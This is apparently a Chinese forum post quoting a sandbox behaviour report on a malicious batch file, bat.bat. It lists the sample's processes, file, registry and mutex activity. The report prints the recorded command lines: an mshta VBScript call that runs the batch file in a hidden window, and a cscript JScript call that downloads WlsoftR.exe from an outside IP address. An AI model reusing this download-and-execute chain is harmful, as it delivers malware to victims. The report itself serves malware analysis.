|
发表于 2017-8-14 17:58:45
|
显示全部楼层
广东省广州市
文件名称:
bat.bat
MD5: 990f5e372ab3e94997c9677ee21e159f
文件类型: Windows Script
上传时间: 2017-08-14 17:48:00
出品公司: N/A
版本: N/A
壳或编译器信息: N/A
关键行为
行为描述: 设置特殊文件夹属性
详情信息:
C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files
C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5
C:\Documents and Settings\Administrator\Local Settings\History
C:\Documents and Settings\Administrator\Local Settings\History\History.IE5
C:\Documents and Settings\Administrator\Cookies
进程行为
行为描述: 隐藏窗口创建进程
详情信息:
ImagePath = , CmdLine = "C:\Documents and Settings\Administrator\Local Settings\%temp%\%temp%\****.bat" h
行为描述: 创建进程
详情信息:
[0x000009c0]ImagePath = C:\WINDOWS\system32\mshta.exe, CmdLine = mshta vbscript:createobject("wscript.shell").run("""%temp%\****.bat"" h",0)(window.close)
[0x00000a48]ImagePath = C:\WINDOWS\system32\cmd.exe, CmdLine = cmd /c ""C:\Documents and Settings\Administrator\Local Settings\%temp%\%temp%\****.bat" h"
[0x00000a60]ImagePath = C:\WINDOWS\system32\cscript.exe, CmdLine = cscript -nologo -e:jscript "C:\Documents and Settings\Administrator\Local Settings\%temp%\%temp%\****.bat" "http://23.224.147.67:8080/WlsoftR.exe" "D:\WlsoftR.exe"
行为描述: 创建本地线程
详情信息:
TargetProcess: mshta.exe, InheritedFromPID = 2468, ProcessID = 2496, ThreadID = 2516, StartAddress = 77DC845A, Parameter = 00000000
TargetProcess: mshta.exe, InheritedFromPID = 2468, ProcessID = 2496, ThreadID = 2612, StartAddress = 6359727B, Parameter = 0029E930
TargetProcess: mshta.exe, InheritedFromPID = 2468, ProcessID = 2496, ThreadID = 2628, StartAddress = 765E964D, Parameter = 00EE7AC0
TargetProcess: cscript.exe, InheritedFromPID = 2632, ProcessID = 2656, ThreadID = 2672, StartAddress = 01002A66, Parameter = 008E3FB0
TargetProcess: cscript.exe, InheritedFromPID = 2632, ProcessID = 2656, ThreadID = 2692, StartAddress = 77DC845A, Parameter = 00000000
TargetProcess: cscript.exe, InheritedFromPID = 2632, ProcessID = 2656, ThreadID = 2696, StartAddress = 765E964D, Parameter = 001BDD70
文件行为
行为描述: 创建文件
详情信息:
C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\C1OS62RY\error[1]
行为描述: 覆盖已有文件
详情信息:
C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\C1OS62RY\error[1]
行为描述: 设置特殊文件夹属性
详情信息:
C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files
C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5
C:\Documents and Settings\Administrator\Local Settings\History
C:\Documents and Settings\Administrator\Local Settings\History\History.IE5
C:\Documents and Settings\Administrator\Cookies
行为描述: 修改文件内容
详情信息:
C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\C1OS62RY\error[1] ---> Offset = 0
行为描述: 查找文件
详情信息:
FileName = C:\Documents and Settings
FileName = C:\Documents and Settings\Administrator
FileName = C:\Documents and Settings\Administrator\Local Settings
FileName = C:\Documents and Settings\Administrator\Local Settings\Temp
FileName = C:\Documents and Settings\Administrator\Local Settings\%temp%
FileName = C:\Documents and Settings\Administrator\Local Settings\%temp%\%temp%\****.bat
FileName = C:\Documents and Settings\Administrator\Local Settings\%temp%\mshta.*
FileName = C:\Documents and Settings\Administrator\Local Settings\%temp%\mshta
FileName = C:\Python27\mshta.*
FileName = C:\Python27\mshta
FileName = C:\Python27\Scripts\mshta.*
FileName = C:\Python27\Scripts\mshta
FileName = C:\WINDOWS\system32\mshta.*
FileName = C:\WINDOWS\system32\mshta.COM
FileName = C:\WINDOWS\system32\mshta.EXE
注册表行为
行为描述: 修改注册表
详情信息:
\REGISTRY\USER\S-*\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\Documents and Settings\Administrator\Local Settings\%temp%\%temp%\****.bat
其他行为
行为描述: 创建互斥体
详情信息:
Local\!PrivacIE!SharedMemory!Mutex
CTF.LBES.MutexDefaultS-*
CTF.Compart.MutexDefaultS-*
CTF.Asm.MutexDefaultS-*
CTF.Layouts.MutexDefaultS-*
CTF.TMD.MutexDefaultS-*
CTF.TimListCache.FMPDefaultS-*MUTEX.DefaultS-*
Local\ZonesCounterMutex
Local\ZoneAttributeCacheCounterMutex
Local\ZonesCacheCounterMutex
Local\ZonesLockedCacheCounterMutex
行为描述: 创建事件对象
详情信息:
EventName = Global\crypt32LogoffEvent
行为描述: 查找指定窗口
详情信息:
NtUserFindWindowEx: [Class,Window] = [MS_AutodialMonitor,]
NtUserFindWindowEx: [Class,Window] = [MS_WebCheckMonitor,]
NtUserFindWindowEx: [Class,Window] = [Shell_TrayWnd,]
行为描述: 窗口信息
详情信息:
Pid = 2468, Hwnd=0x1033c, Text = C:\Windows\System32\cmd.exe, ClassName = ConsoleWindowClass.
行为描述: 调整进程token权限
详情信息:
SE_LOAD_DRIVER_PRIVILEGE
行为描述: 打开事件
详情信息:
\SECURITY\LSA_AUTHENTICATION_INITIALIZED
MSFT.VSA.COM.DISABLE.2496
MSFT.VSA.IEC.STATUS.6c736db0
Global\crypt32LogoffEvent
_fCanRegisterWithShellService
MSFT.VSA.COM.DISABLE.2656
行为描述: 打开互斥体
详情信息:
ShimCacheMutex
Local\!IETld!Mutex
CtfmonInstMutexDefaultS-*
Local\_!MSFTHISTORY!_
Local\c:!documents and settings!administrator!local settings!temporary internet files!content.ie5!
Local\c:!documents and settings!administrator!cookies!
Local\c:!documents and settings!administrator!local settings!history!history.ie5!
Local\WininetStartupMutex
Local\WininetConnectionMutex
Local\WininetProxyRegistryMutex
进程树
cmd.exe (PID: 0x000009a4)
mshta.exe (PID: 0x000009c0)
cmd.exe cmd /c "****.bat" h" (PID: 0x00000a48)
cscript.exe (PID: 0x00000a60) |
|